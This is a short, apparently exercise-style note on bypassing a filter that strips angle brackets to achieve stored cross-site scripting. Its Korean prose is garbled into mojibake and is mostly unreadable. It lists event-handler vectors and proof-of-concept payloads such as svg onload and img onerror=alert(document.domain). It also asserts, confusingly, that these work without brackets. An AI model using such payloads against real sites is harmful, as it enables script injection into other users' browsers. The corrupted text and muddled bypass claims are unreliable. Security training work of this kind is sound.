κΈ°λ³Έ νν°(< > μ κ±°)λ₯Ό μ°ννμ¬ μ μ₯λ XSS 곡격 κ°λ₯
π‘ νν° μ°ν 벑ν°: β’ svg/onload νκ·Έ μ¬μ© (νν°λ < > μ κ±°λ§ ν¨) β’ img/onerror μ΄λ²€νΈ μμ± β’ HTML μν°ν°: <img src=x> κ°μ λ°©μ β’ μμ: svg onload="alert(1)" (νκ·Έλ μμ§λ§ μμ±μ μμ) β’ iframe νκ·Έ μ¬μ© π¨ μ€μ μ°ν: img onerror=alert(document.domain) (< > μμ!)
svg/onload
img/onerror
<img src=x>
svg onload="alert(1)"
iframe
img onerror=alert(document.domain)